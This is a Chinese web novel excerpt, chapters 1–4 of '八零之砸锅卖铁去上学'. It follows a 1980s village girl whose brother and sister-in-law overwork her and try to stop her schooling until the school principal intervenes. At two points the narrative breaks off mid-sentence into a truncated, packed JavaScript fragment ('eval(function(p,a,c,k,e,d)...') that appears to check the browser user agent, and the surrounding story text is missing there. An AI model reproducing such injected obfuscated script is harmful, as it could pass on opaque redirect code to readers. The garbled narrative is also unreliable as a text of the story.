《八零之砸锅卖铁去上学》 1. 第一章 进了十一月,青山镇的天气已经很冷了,不见落雪,但西北风呼呼地刮着,林豆蔻身上的棉袄还是前年做的,棉花还算松软,但她个子长得太快,衣服小了很多,冷风从袖口,从衣摆吹进来,冷得她不由自主缩了脖子。 她是镇中学初二的学生,放学铃一响,就赶紧往外跑。 倒不是不爱学习,事实恰恰相反,但她实在是太忙了。 放学回到家要帮着带侄子,还要洗衣服做饭,今天更特殊一些,她的妹妹木香病倒了。 林豆蔻父亲很早就去世了,母亲去年也没了,她和妹妹现在跟着哥嫂过日子,大哥家在镇东头。 青山镇坐落在山坳里,是个像船一样的长条形,镇东临近大路,后面的山远看像是龙尾巴,都说风水极好。 她大哥算是个很能干的人,十五岁就下井挖煤,现在已经是八级矿工了,他家的四间红砖大瓦房是前年才翻盖的,用的钱一半是父母生前的积蓄,一半是他自己挣下的。 四间瓦房各有用处,一间当了堂屋,城里人叫客厅,一间侄女林丽娜住,一间他们夫妻住,里头还套着一间,是专门放粮食用的,大哥虽然是矿工,但归根到底还是农民,对粮食极为看重,镇上其他人家也是这样的。 林豆蔻和林木香搬过来没地方住,好在院子够大,东西只有一间西厢房,是用来当厨房的,紧挨着厨房临时又盖了一间屋,也是木门玻璃窗,姐妹俩住正好。 木香今天早上忽然发烧,小脸烧得通红,额头也烫得吓人,难受得起不来床,今天便没有上学,留在家里休息。 她心里记挂着妹妹,一路小跑着回到家,本来想先去西屋瞧瞧妹妹,没想到嫂子刘爱玲的耳朵特别尖,听到了推门的声音和她的脚步声,大声喊她,“豆蔻,你过来!” 林豆蔻只好先去了堂屋。 大哥很讲究,不仅翻盖了屋子,屋里面的摆设也挺全,高低柜,长条桌,茶几木头沙发这些都有,平时有人来串门,嫂子总要显摆几句,不过此刻屋里乱的很,桌子上地上到处都是瓜子花生壳,还有剥掉的糖纸,小侄子换下来的尿布也随便放在地上。 她的嫂子刘爱玲中等个儿,方圆脸,头发上别着从县上买回来的时髦发卡,穿着崭新的蓝色罩衫,她抱起沙发上的儿子,不客气的命令小姑子,“赶紧把屋里收拾收拾,等你哥下班了看见像什么?” 林豆蔻干活儿很麻利,先收拾垃圾,将果壳糖纸都扫了,将尿布放到盆子里,又仔细擦了桌子椅子,屋里立马不一样了。 洗尿布之前,她又折回堂屋,拿起放在沙发上的旧书包,走向自己住的西屋。 刘爱玲以前说过,不允许她们把个人物品放到堂屋。 正好也看一下妹妹到底怎么样了。 刘爱玲领着两个孩子进了厨房,看到虽没有阻止,却大声抱怨,“都多大了也不知道注意,这个天儿感冒了可不容易好,什么活儿干不了不说,我伺候两个孩子,还得伺候小姑子,做好了饭还不吃,这是什么穷毛病?” 林豆蔻置若未闻,面色如常的进了西屋,后墙的窗户小,屋里不开灯光线不好,她打开灯,看到妹妹还是裹着被子,脸蛋通红的躺在床上。 “木香,你觉得好点儿了吗?” 林木香今年才七岁,因为长得又瘦又小,看起来像是五六岁,她小小的身体缩在被窝里,看到继姐回来微微一笑,有气无力的说,“姐,我好多了。” 林豆蔻伸出手摸了摸她的额头,似乎比早上好一点了,但还是很烫。 以前给母亲看病的耿医生说过,人生病了必须赶紧治,不能拖,拖来拖去本来是小病,最后也会拖成重病。 林豆蔻瞄了一眼摆在桌子上的冷窝窝头,咸菜和一碗水,水早就冷掉了,她从暖水瓶里重新倒了一碗热水,用勺子一点点儿喂妹妹喝水。 喂完水,她正要问妹妹想吃点儿什么,外面又响起了刘爱玲的声音,“还在那屋磨蹭什么呢,还不赶紧过来帮着做饭?” 侄女林丽娜今年才三岁,也跟着喊,“大姑别逃懒,大姑快做饭!” 自从母亲去世后,她和妹妹搬到大哥家里,不管嫂子说什么,从来都是处处忍让,但现在木香还发着烧,嫂子竟然还和没事儿人一样。 林豆蔻掀开床下的一块砖,从里面拿出一个小布包,里面有她偷偷攒下的几块钱。 她把布包塞到衣兜里,飞快地出了屋子。 刘爱玲别看是个普通时农村妇女,以前倒也没那么金贵,现在因为两个小姑子,突然变得金贵了,她的手怕冻,洗不了菜,她的衣服是才上身的,怕不小心洒上了油点子,烧火又炝又有灰,那就更不可能了。 每天临做饭,她也就是来灶间看看,像个指挥官一样,安排林豆蔻做什么菜什么饭。 今天正经不早了,她看到小姑子不来厨房做饭,却往外跑了,有些生气了,“这个时候你去哪儿?” 林豆蔻跑着去请了耿医生,耿医生是镇医院的退休医生,为人特别好,附近谁有个头疼脑热的小病,都免费给看。 在外人面前,刘爱玲又是一副面孔,她看到林豆蔻领着耿医生来了,连忙说,“三舅,还得让你专门跑一趟,木香跑出去玩儿出了一身汗,又被冷风吹了,今天早上就发烧,我给她吃了两片退烧药,这一天了到现在还是没好,我这心里没底,赶紧让豆蔻去叫你了。” 耿医生笑笑,“都邻居客气啥,现在这个季节的确要仔细点儿,大人小孩儿都很容易感冒的。” 刘爱玲说,“是啊,家里大小四个孩子,不仔细不行。” 耿医生先用自己带来的听诊器听了听,又给木香量了体温,难怪她额头还是那么烫,体温是三十八度七呢。 家里没有体温计,估计早上至少有三十九度了。 耿医生从箱子里拿了两种药,分别用小纸袋包好,说了用法用量,又说若是明天还发烧,那就得去镇医院打吊瓶了。 刘爱玲接了药连声感谢,主动要付药钱,耿医生却不肯要,他和林豆蔻去世的母亲黄爱芬是远房表兄妹,算是沾点儿亲戚。 耿医生走后,林豆蔻赶紧倒水让妹妹吃了药,又从兜里掏出一袋儿鸡蛋糕,压低声音说,“木香,你先吃着,等一会儿我给你冲一碗鸡蛋水。” 林木香接过去赶紧藏到了被窝里。 林豆蔻回到厨房,刘爱玲拉着一张脸,指了指放在灶台上的菜,“你把白菜炒了,放点儿肉片,肉切薄一点儿,今儿来不及了,豆腐不单独做了,也一块儿炖了吧,再炒个花生米,你哥喜欢吃这个,熬一锅玉米粥,再熥上窝头馒头就行了。” “快点哈,你哥累了一天了,下班还吃不上一口热饭,说出去都是咱们的不是。” 林豆蔻没说话,弯腰拿了洗菜盆,先把白菜洗了,刘爱玲看着她洗白菜切白菜,切完白菜她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还好木香吃了药,第二天早上就退烧了,林建设早上是不在家吃的,矿上有食堂,每个月会发一定量的饭票,超过之后才需要买,林建设从来不会额外买,发下来的饭票正好够他免费吃早饭。 林豆蔻早早起来,先荷包了两个鸡蛋,再把擀好的细面条下锅煮,还没等盛出来,林丽娜摇摇晃晃的来了。 她吸了吸小鼻子,“大姑,你做的什么这么香,我要吃!” 林豆蔻好声哄她,“娜娜,你小姑姑病了,这是给她煮的面,你想吃,等一会儿我再给你做。” 自从两个姑姑来到自己家,林丽娜的脾气也见长了,她立即大声嚷嚷,“我就要吃,我就要吃,快给我盛一碗! 林豆蔻无视她,将面条都盛出来,准备端给妹妹,没料到这时刘爱玲来了,她仰着一张脸,“你聋了,没听到丽娜说要吃面条?先给她吃,你再做一碗不就行了?” 说着,抢过那一大碗面条,带着女儿走了。 林豆蔻给气得够呛,但她这个嫂子很厉害,她跟哥哥告过几次状,都被黑白颠倒对付过去了。 没办法她只能重新和面擀面,没想到刚做好刘爱玲又来了,拿了一只碗盛了一半面条,还把荷包蛋都挑走了。 还说,“丽娜和小果都长身体呢,得多吃鸡蛋。” 等林木香吃了大半碗面条,林豆蔻又收拾了厨房,上学已经快晚了,她匆忙拿上两个窝窝头,顾不上吃就提着书包出门了。 2. 第二章 十一月底,终于下了第一场雪,雪不算太大,但把路上都染白了。 这样冷的天,恰是农闲时节,刘爱玲自诩是个勤快人,不额外找点事儿做心里特别难受。 “建设,你看咱家的屋子是新的,家具也是新的,唯独这床上铺的盖的,都不是新的了,正好趁着现在闲着,我纺点儿棉花,纺够了线,就能上织机了,多织布上几匹布,不仅铺的盖的都有了,外人来了也好看。” 林建设觉得她这打算挺好,“行,你别累着了,这活儿不用那么急。” 刘爱玲笑了笑,“咱大妹妹转过年也十六了吧,也算大姑娘了,也都该学一学了,我想教她纺线。” 林建设觉得很有道理,点了点头。 刘爱玲又趁机说,“建设,我一个人带俩孩子累死了,还费心的很,别人家都有婆婆帮着搭把手,我这没有人搭把手,要不,不让豆蔻上学了吧,她都快念到初中毕业了,识字够多的了,也够用了。” 林建设一愣,母亲临终前把林家传下来的金器和攒下的最后一点儿钱都给了他,但也嘱咐了他,让他把两个妹妹养大,供两个妹妹上学。 尤其豆蔻,从小学习就很好。 刘爱玲见他不说话,撇撇嘴,“豆蔻明年就初中毕业了,等那时总不能再供了吧,她要真考上县中了,你还供她上高中?那花销可大了去了!” “咱现在日子过得算好,但家底子薄着呢,你看三大爷家,三大娘多会过日子,人家比咱可强呢,去年巧红妹妹考上高中了,三大爷三大娘不也没让她上吗?” “现在巧红每天去捡煤,还学着绣花,她手巧,绣得可好,这么一年算下来,也至少能挣一百多块呢。” 林建设没说话,但他的心思动摇了,不为别的,家里的确缺人,缺劳力,爱玲跟着两个孩子,什么事儿都耽误了。 他们全家一共十四亩地呢,平时还行,农忙的时候,他都不得不跟矿上请假,矿上倒是不额外扣钱,但请假一天,肯定就少一天的工资。 若是豆蔻不上学了,能帮着做家务,能帮着看孩子,能下地干活儿,总之多了一个人,能干的事儿可太多了。 不过他还是没有松口,“豆蔻学习好,她肯定不同意。” 刘爱玲笑了笑,没再多说。 但人就是这样的,一旦起了某个心思,就完全不一样了,林建设一开始还觉得对不起去世的母亲,后来又觉得,即便母亲活着,病得那么重,也挣不来钱了,也未必能让豆蔻去上高中。 既然不上高中,那现在辍学,和明年初中毕业了,又有什么区别? 还非得要一张初中毕业证吗? 林豆蔻上初二,还有一年就要初中毕业了,她不仅想要初中毕业证,还想去县中上学。 青山镇下辖四十多个自然村,青山镇中学学生倒是不少,每个年级都有四个班,但升学率很低,就拿今年夏天毕业的这一届来说,一共才有四个学生考上了县中,还有六个上了三中。 但林豆蔻这一届不一样,有不少尖子生,学校因此期望很高,抓得也很紧。 学生普遍都穷,买不起教辅资料,学校也穷,也买不起,只能自己编写自己油印。 唯一的一台油印机,还是林校长去老战友那里化缘得来的。 这手摇印机不太好使,一张张都要先在蜡纸上刻板,印出来的字迹不够清晰,而且会有一股子味儿,学校也买不起白纸,用的是粗糙的黄色再生纸,纸张发脆,不够光滑,胜在价格便宜。 每隔上一段时间,学校会象征性地收点成本费。 这天林豆蔻放学回家一分也不敢耽误地做好了晚饭,有大哥爱吃的花生米,有嫂子爱吃的地瓜丝拌白菜心,还有一大海碗肉片炖萝卜。 花生米,地瓜,白菜萝卜都是自家种的,现在买肉也没有那么难了,镇上就有杀猪店,主要还是大哥井下的活儿太累了,晚上必须吃好一点儿才行。 前几天大哥还说,他还有可能当上队长呢,到时候又会涨工资了。 一家子刚坐到一起吃饭,没想到有人找刘爱玲,是镇上计划生育服务站的,国家非常重视计生工作,他们不仅在镇上宣传管理,还会升入基层实地抓典型,青山镇下辖那么多自然村,人手不够,会外聘一些工作人员。 刘爱玲就是其中之一,而且她态度可积极呢,人家一叫,饭也不吃了,立马就跟着走了。 林木香大着胆子拿了一个白面馒头吃,又要夹肉片,林丽娜不干了,“小姑姑嘴馋,小姑姑不准吃肉!” 肉再好买但也贵着呢,要一块钱一斤,现在天冷好存放,刘爱玲每次都是买上一斤多,省着吃能吃十来天。 混在萝卜里的肉片,切得薄薄的,看着显眼,其实也没多少,林木香吃了,其他人肯定就要少吃了。 林木香和林丽娜都用求助的眼神看向林建设,他谁也没看,专心夹花生米。 林豆蔻坐在一旁也没管,她有自己的事儿,她只管吃窝头和萝卜条,吃完三个窝头才开口,“哥,学校要收卷子费。” 林建设这才抬起头,问,“多少?” “两块钱。” 林建设放下筷子,从脱掉的外套里摸出两块钱,停顿了一下,又加了一块钱,将三块钱递给了大妹妹。 “豆蔻,你这么大了,身上也不能没有一分钱。” 林豆蔻冲大哥感激的笑了笑。 林丽娜别看只有三岁,是个学舌精,刘爱玲开会回来,她就把小姑姑跟她抢肉吃,大姑姑要钱的事儿都说了。 刘爱玲笑了笑,倒没有抱怨丈夫,而是感叹,“我昨儿才听三大娘说,巧红现在光是绣花,一个月能挣十来块,一年就是一百多,巧红能干,不仅绣花,下地干活儿样样都行,也难怪现在就有不少人家相中她了,想提亲。” 林建设一门心思攒钱,自然也很会算账,巧红绣花能挣一百多,再加上捡煤,农忙下地干活儿,还能做家务,这可就不止一百多了,折算下来,一年二三百是有的。 要是豆蔻也辍学,可以跟着巧红去学绣花,而且家里活儿有人干了,农忙也不需要他总请假了,那就能多挣不少钱。 一年多挣二三百,和一年一分不挣,不但不挣,还要花钱,那区别可大了。 林建设想来想去,觉得让大妹妹辍学,家里的日子才能越过越好,只是他虽然拿定了主意,但每次看到豆蔻,又张不开嘴。 他被刘爱玲催得急了,自己也心焦,干脆去找堂哥林建水拿主意。 林建水也在矿上工作,但工种完全不一样,当初他托了关系,不在井下挖煤,而是在后勤办公室工作。 他在家棉袄外面也套着中山装,看起来像是个干部。 听了林建设的事儿,林建水猛吸了最后一口烟屁股,带着一点儿不屑的语气说,”为这个犯什么难?你这命不太好,叔婶都走得早,家里缺人干活儿,就别让豆蔻上学了,咱镇上好多人都没有初中毕业,这有啥,你要说不出,我替你说!“ 自己家的事儿,还用不着别人插手,实际上,林建设也并不是来讨主意的,他已经想好了,只不过怕别人说他,说他这个当哥哥的不仁义,不肯供妹妹上学。 又隔了几日,刘爱玲忽然变得很大方了,先是把自己炒的花生瓜子送到西屋给她们姐妹吃,又让把买来的一斤肉全剁成了肉馅,张罗着蒸了一大锅白菜猪肉包子。 林豆蔻将热腾腾的包子端到堂屋,又往灶底添了一把柴,正要拿窝窝头热上,她嫂子却说,“一家人吃什么两样饭,快,都去吃包子吧。” 林木香高兴的跑着去了。 林豆蔻觉得奇怪,刘爱玲一把扯住她,亲亲热热地说,“快走吧。” 肉馅的包子的确好吃,白菜清甜,肉馅又香又嫩,白面皮软软的,巴掌大的包子,林木香一口气吃了三个。 她还要再吃,林豆蔻怕她吃撑了,连忙说,“木香,你别吃了,你喝碗水。” 这个时候,林建设下班回来了。 刘爱玲不像往常那样支使大姑子,而是自己出了屋子,给丈夫舀了水洗手洗脸,又拿毛巾。 那殷勤劲儿让林豆蔻觉得哪里不对。 果然,吃过饭后,林建设一边抽着烟,一边说,“豆蔻,家里事儿太多了,你嫂子一个人忙不过来,从明天开始你就别去上学了,你帮着你嫂子干干家务,去山上捡捡煤,或者跟巧红去学学绣花,都行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姐妹俩住的这间屋子,外观看起来跟其他屋子没区别,都是红砖木门玻璃窗,实际上墙体很薄,屋顶封得也不够严密,住起来冬冷夏热。 木香搓搓手赶紧钻进了被窝。 若是往常,林豆蔻会去烧上半锅热水,洗脚之后,再灌上两个输液瓶,姐妹俩一人一个用手抱着,然后她还会给妹妹讲一个自己胡编的故事,直到把妹妹哄睡。 但今天她失去了这样的耐心。 木香很乖,见姐姐很不高兴,也不敢多说什么,没一会儿就睡着了。 林豆蔻跳下床,往常她都是学习到半夜的,不是她喜欢熬夜,而是的确没时间。 早上她很早就起来了,先去上山捡煤再去上学,中午放学回家要做饭,可能还有洗衣服或者洗尿布的活儿,傍晚放学最忙了,也是先要做晚饭,她们家早饭和午饭都再简单不过,通常就是窝头咸菜和玉米面粥,唯有晚饭是要好好做的,等吃了晚饭收拾完,洗了他哥换下来的脏衣服,以及小侄子换下来的尿布,也还会有别的事儿。 最近这一个月,刘爱玲又让她学着纺棉花,每天不纺到夜里十一点,是不可能放她回屋的。 如此一来,她就得从十一点多才学习,可不就学到半夜了。 今天倒是时间还早。 林豆蔻从书包里拿出来这次的考试卷子,自从上了初二,考试的次数明显多了,而且还不是随便小考,都是按照期中期末的标准来出题的。 她这次考的成绩不算好,班里是第四名,年级是第十二名。 林豆蔻把卷子铺在书桌上改错题,又想起今天数学老师赵老师训她的话,“林豆蔻,我以前就告诉过你,学习要灵活,不能死学,你必须学会灵活运用,才能学好学透,否则做再多题也没用!” 就只差把“你真笨”这三个字说出来了。 但实际上,如果按照一般的评判标准,她的数学成绩并不算差,一百二十分满分的卷子,她考了一百一十分。 初二一共有四个班,不管放在哪个班,都算很不错了。 不知为什么,林豆蔻越想越委屈,泪水顺着脸庞往下流,很快洇湿了整张卷子。 3. 第三章 在这寂静的深夜里,林豆蔻忍不住想起了父亲和母亲。 平时她很克制自己,而且她也很忙,根本没时间想,妹妹木香还小,经常会想父亲母亲,尤其是母亲,妹妹扑在她的怀里哭泣的时候,她往往是笑着安慰。 但在这个寂静的夜里,她再想压抑自己。 时间过得可真快,父亲已经走了六年,母亲也已经去世一年多了。 她的父亲是个木匠,不仅她们镇上,县上不少人家办喜事置办物件,都雇了父亲去打家具,父亲很爱笑,看到谁都笑眯眯的,父亲春天曾带她去放风筝,还带她去赶集,从集上买回来炒花生,糖饼儿,那种褐色的糖饼真的很甜,她再没吃过那么甜的糖饼。 母亲也有一双巧手,她会做菜,曾跟着外公学过一阵子,专门给红白喜事儿做席面的,母亲很多大菜做得好,一般时候吃不到,但她做什么都好吃,洒满了葱花的花卷,烙的酥脆的油饼,蒸的玉米团子,地瓜皮豆腐陷的饺子,炖得嫩嫩的鸡蛋羹,顺滑的手擀面,母亲还很会做衣服,春天穿的花褂子,还没冷就做好的厚棉袄,厚棉鞋,厚棉手套,以前,她和木香是从来不会长冻疮的。 母亲在世的时候,也无数次说过,一定要好好上学,好好读书,只有这样,才能去更大更好的地方长见识。 母亲黄爱芬也是土生土长的农村人,不过年轻的时候唱过两年戏,不仅嗓子好,身段也好,扮相可好,以前县剧团排过不少戏,有两个戏还挺受欢迎的,她跟着剧团去过区市,还去过省城,本来以她唱的水平,是有机会留在剧团的,可惜识字太少,后来还是被刷下来了。 母亲从剧团回来,就老老实实跟着外公学做菜,很快就能独当一面了。 林豆蔻几乎彻夜未眠,但第二天她还是早早就起来了,她拎着书包,去厨房摸了两个冷窝窝头,打算先不管哥嫂,先去学校上学再说。 赵老师说了,今天除了讲卷子,还要讲一些以前没有见过做过的题型。 天还没亮,院子里静悄悄的,她踮着脚尖无声地走到大门口,拉开里面的木插销,然后推门,没想到门还是纹丝不动,她 又用力推了几下还是不行。 那只有一种可能,门在外面被锁上了。 林豆蔻出不去,只能折回来,恰好刘爱玲从堂屋出来了,她蓬着头,拢着身上厚厚的棉袄,打了个哈欠,笑着说,“既然起来了,就去做饭吧,今天吃点儿好的,就炸点儿面鱼吧。” 去年她哥利用空闲去山上开了半亩地,全种了花生,家里花生油是不缺的。 林豆蔻没办法,只能把书包放回屋,进了厨房洗盆和面准备炸面鱼。 她母亲做饭的天赋,三个子女里,唯有她遗传到了,不管做什么菜,看一遍就会,就能做得像模像样。 林豆蔻心里又急又气,手上的活却没怎么受影响,醒面切面起油锅,每个步骤丝毫不乱。 很快,香喷喷的焦黄面鱼出锅了。 刘爱玲把炸好的面鱼都端走了,还顺便瞧了瞧大姑子,昨天看着像是发疯了,现在应该是想通了,脸上看不出怒气了,变得和以前一样听话,让她干什么干什么。 林豆蔻主动问,“嫂子,趁着油锅,要不要再炸点绿豆面丸子?” 刘爱玲笑得得意,“好呀,你哥爱吃,丽娜她姥姥也爱吃,家里有现成的绿豆面,多炸点儿。” 林豆蔻炸完面鱼又炸了大半盆绿豆面丸子,她和木香各自吃了两个大面鱼,木香陪着林丽娜去玩儿了,她收拾好厨房,一言不发地开始纺棉花。 刘爱玲洗了头,换上新做的罩衫,别上发卡,把自己好好捯饬了一番,手里拿了一只竹提篮,里面装了一大碗绿豆面丸子。 她还带上了一岁的儿子林秋果。 “豆蔻,我出去一趟,很快就回来了,你接着纺线,不准偷懒。” 林豆蔻早就料到她肯定会忍不住给娘家送去,淡淡的说,“行,我把这些棉花都纺完,让木香看着丽娜。” 刘爱玲满意的哼了一声,提上东西领着儿子走了,仍旧把大门从外面锁上了。 她前脚走,林豆蔻立马就扔了手里的棉花团,先去了一趟厨房,把剩下的面鱼,绿豆面丸子全都装到一个塑料盆里,然后爬上了梯子。 数学老师赵老师嫌弃她笨,但林豆蔻觉得,她的大哥,她的嫂子才是真的笨,以为只要锁了大门,她就出不去了吗? 镇子上大多数宅基地都是紧挨在一起的,尤其是镇子东头,住户越来越多,她大哥家隔壁住的是本家一个老奶奶,房子比大哥家盖得矮,两家的墙中间几乎没有空隙。 林豆蔻把布书包挂在脖子上,踩着梯子爬上屋顶,抱着盆子轻轻松松的迈过去了。 她又顺着老奶奶家的梯子进了人家的院子,老人家耳背,也没听到动静。 昨天她想了一晚上,只想到一个人有可能帮她说话。 那就是青山镇的校长林校长,虽然已经出了五服,但毕竟还是本家,按照辈分她应该叫林校长大爷爷,在学校她和大爷爷接触不多,但去年母亲去世后,林校长专门把她叫到办公室,勉励她不要受到任何影响,一定要继续认真学习。 她的成绩不是顶好的,但应该也算很好吧,也是很有希望考上县中的人选,属于学校的重点关注对象。 林豆蔻忐忑不安地走进了陌生的院子,林余白恰好在家,看到她来,有些意外,“豆蔻来了,你今天咋没上学?” 她不知道怎么回答,递过去手里的盆,“大奶奶,刚炸的面鱼和绿豆面丸子送你们尝尝。” 林校长的老伴林大奶奶接过去盆子,客气地把她领到屋里。 她昨晚流了半宿泪,眼睛现在还是肿的,林校长盯着她看了两眼,“出什么事儿了?” 林豆蔻一张嘴就忍不住又哭了,“大爷爷,我哥不让我上学了,他把我锁家里了,我是爬梯子跑出来的。” 她一边哭一边说,林余白眉头紧皱,虽说都姓林,但早就出了五服,他平时也并不爱多管闲事儿。 不过,学校若要因此失去一个好学生,那就另当别论了。 林校长递给她一块毛巾,“别哭了,擦擦你的泪,豆蔻,你也有十五六了吧,当年我十三岁就入伍了,急行军走一夜,脚上都磨出血了也没哭,后来参加野战,打起来没完没了,三天三夜没吃饭也熬过来了。” “人没有过不去的坎。” 林豆蔻哽咽着说,“我帮我哥家干了好多活儿,做饭,洗衣服,洗尿布,打扫卫生,几乎没闲着的时候,我嫂子还让我纺棉花,都纺到夜里十一点多,我........” 林大奶奶也是军人,原来是部队里的护士,后来专业到地方,在镇医院当护士,不过现在也退休了。 她看到豆蔻又红又肿的手,面有愠色,“这也太过分了,这么对待一个学生,比旧社会还狠,这样哪还有学习的时间?” 林校长也很生气,他本来还想着,先亲自去做一做林建设的工作,劝他继续供林豆蔻上学,但现在看来,这么做并不能彻底解决问题。 初中的课程算不上很难,但他们学校的各方面设施和资源都比较差,学生想要考上县中,那非得下一番苦功不可。 林豆蔻回家就要干那么多活儿,不可能不影响学习。 想要彻底解决问题,那就得从根上解决。 林余白看了看眼前瘦弱的学生,问,“豆蔻,我记得,你家还有一个老房子是吧?” 林豆蔻点了点头,“对,是我爷爷奶奶留下的,本来有四间北屋,去年地震塌了两间。” 林校长说,“还剩两间,能住人吗?” 她家共有两处房子,一处是爷爷奶奶留下的老房子,她和母亲妹妹之前都住在这个老房子里,另一处是父母婚后在镇东头盖的房子,给了大哥结婚,大哥前年嫌弃不好,重新翻盖成了现在的新房子。 母亲去世后,她和妹妹仍旧住在老房子里,但母亲是去年三月去世的,到了五月就遇上了地震,别人家的房子都没塌,就她家的两间堂屋塌了。 其实也是有原因的,因为堂屋的房梁被换掉了,前年大哥翻盖房子,不知怎么就是找不到一根合适的房梁,不是太细就是太粗,要么就是木头不好,唯有老房子堂屋的梁木,是正经的红木硬木,这么多年一点儿虫蛀都没有,这样的梁木,现在都找不到了。 母亲不让大哥卸走,但大哥还是卸走了,换了一 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林校长并不意外,“分了家,什么都不能依靠你哥了,光有房子住不行,还得分给你几亩地,这些地都需要你自己种,自己收,你要上学,还要侍弄庄稼,可能会特别累。” “大爷爷,我不怕累!” 林校长笑了笑,“行,我替你做主分家。” 解决了这件大事儿,林豆蔻立即想起来,今天还没去上学,她瞅了一眼墙上的挂钟,她迟到可太久了。 现在都开始上第四节课了! 林豆蔻拎着书包急匆匆的往外跑,“大爷爷大奶奶,我去上学了!” 林大奶奶忍不住笑了,“这孩子,还真是一门心思只想着上学。” 林校长也笑了,“没错,是个学习的好苗子。” 林余白是当兵出身,讲求实际,凡事注重结果,自从国家恢复高考之后,各地学校都像打了鸡血一样,都在抓升学率,他们青山镇中学也不甘落后,每个年级的考试成绩他都仔细看了的,林豆蔻每次考试成绩都不错,由此推断她就是一个学习的好苗子。 但很显然,初二二班的数学老师兼班主任赵振铎老师不是这么想的。 赵老师可不是一般人,他不是民办教师,也不是普通的中专学历的公立老师,他是大专学历,正经师专毕业的,还不是那种工农兵大学生,是有真材实料的,只是他运气不好,等他毕业之后,大运动开始了,到处都乱哄哄的,本来他分到了县里,被母亲哭着闹着以死相逼,只能回到了镇上。 赵老师虽然只是个初中老师,但不妨碍他有个远大的目标,他希望他教的学生不仅能考上县中,还能从县中考上大学,普通大学还满足不了他,最好是名牌大学。 只有这样,才能彰显出他比较高的授课水平。 赵振铎投入光荣的教育事业,这些年教过无数个学生,其中也不乏十分聪明的,比如有个叫沈宏的学生,学什么都是一学就会,而且还能举一反三,还有个沈慧丽的学生,也是非常聪明,虽然逻辑思维赶不上沈宏,但记忆力非常好,几乎过目不忘。 可惜这两个学生也都没赶上好时机,倒是都上了县中,但沈宏成分高,高中毕业没有被推荐上大学,甚至连民办老师也当不上,至于沈慧丽,高中没念完就辍学了,隔了一年就嫁人了。 实在太可惜了。 好在最近几年,国家又恢复高考了,赵老师一双利眼把班上的学生看得透透的,他教初二四个班的数学,还兼任了二班的班主任,班上聪明的学生真还有两个,分别是第一名和第二名。 经常考第三名的林豆蔻成绩算是不错,但论聪明劲儿可就差远了,最近表现也不太好,上课总是一副蔫头耷脑的样子,这次考试果然退步了。 今天他本来精心准备了一堂课,有一个当堂提问的问题是专门准备给林豆蔻的,而且还准备课间把林豆蔻叫到办公室批评一番。 可惜这两个事儿都落空了。 赵振铎老师憋了一肚子火儿,都上完三节课了,想起来早上他妻子让他喂猪,他给忘了,正准备回家喂猪,看到林豆蔻跑着来上学了。 4. 第四章 赵振铎立马就把回家喂猪的事儿给忘了,远远的就喊,“林豆蔻,你跟我过来!” 林豆蔻硬着头皮跟着进了教室办公室,他们这学校是由寺庙盖的,虽说房子高大坚固,但年久失修,屋顶落灰那是常有的事儿。 赵老师弹了弹教案上的一层灰,皱着眉头问她,“林豆蔻,你怎么回事儿,怎么迟到这么长时间,我昨天说了讲卷子,讲你们没见过的题型,你没听见?” 林豆蔻低下头,小声说,“赵老师,我哥不让我上学了。” 赵老师一愣,急得一下子从椅子上站起来,“你说啥,你哥不让你上学了,凭啥不让你上学了?今天晚上我去你家家访,一定做通你哥的工作。” 虽说上学是要花一些钱,但现在和以前不一样了,自从镇上有了煤矿,镇上大多数人家的日子都好过多了,每年花上十几块上学,应该也都花得起。 林豆蔻又说,“我去找了林校长,他答应了帮我做主。” 赵振铎心里埋怨这个学生说话不一口气说完,不过由此看来,她倒不是故意迟到的,他从抽屉里找出一叠纸,“这是今天讲课的内容,你拿回去好好看看。” 林豆蔻都已经走出办公室了,赵老师才想起来还没批评她呢,不过时间已经来不及了,他家那河东狮马上就要从娘家回来了,他得赶紧回家喂猪了。 林豆蔻回到教室看那一叠资料,又做了刚发下来的练习卷子,还背了昨晚应该背,但没背完的英语单词。 此时早就中午放学了,其他学生要么回家吃饭,要么去食堂吃饭,镇中学也有简陋的食堂,供应的主食是馒头和玉米窝头,还有面糊菜汤和腌萝卜,本来还有炒菜,学生都不舍得买,渐渐也就没了,学生也可以带饭,食堂有个大蒸笼,免费热饭。 林豆蔻一个人坐在自己的位子上安静的学习,可能是早上吃了两个油炸大面鱼,倒也并没觉得太饿,索性中午就不回去了。 傍晚放学她也在外面磨蹭了很久,直到天黑透才回了大哥家,没想到林校长已经先她一步来了。 林余白在镇上很有威信,镇上的人都很尊重他,即便是前些年乱哄哄的时候,也没人敢当面嘲笑他是臭老九。 林建设和刘爱玲态度都热情的不得了,一个递烟,一个倒水,林校长不跟他们绕弯子,直接问,“建设,你不让你妹妹豆蔻上学了?” 刘爱玲闻言瞪了一眼小姑子,这死妮子,今天上午她回了一趟娘家,明明锁上了大门,还是让她顺着梯子跑出去了,不但跑了,还把半盆炸面鱼和绿豆丸子也拿走了,问木香,木香也说不清楚送给谁了。 看来是送到林校长家了。 拿着她的东西送人,白赚个好,这死妮子倒是挺精,她气得牙疼,但现在当着林校长的面,不是算账的时候。 林建设叹了一口气,“大爷爷,我父母都走的早,矿上平时也不放假,爱玲一个人带着两个孩子,也干不了什么活儿,家里家外都需要人,没办法只能不让豆蔻上学了。” 林校长把烟卷放下,冷着脸说,“豆蔻学习好,豆蔻必须上学,你要不想供也行,我做主,你们分家吧。” “让豆蔻和木香搬到老房子住,你家的地给她俩四亩,你母亲留下的东西,你也不能独占,也得分一下给她们。” 林建设一愣,怀疑自己听错了,他早就猜到林校长肯定是来劝他,让他继续供妹妹上学的,没想到这就让他们分家了? “大爷爷,你没开玩笑吧,我家那老房子都塌了咋住人,而且豆蔻才十五,木香才七岁,她俩分出去自己能过?再说了,她要还是上学,也没工夫侍弄庄稼,那不是白白糟蹋了好地。” 林校长扫了他一眼,“这些都不用你操心了,反正你来选,要么继续供你两个妹妹上学,要么就分家。” 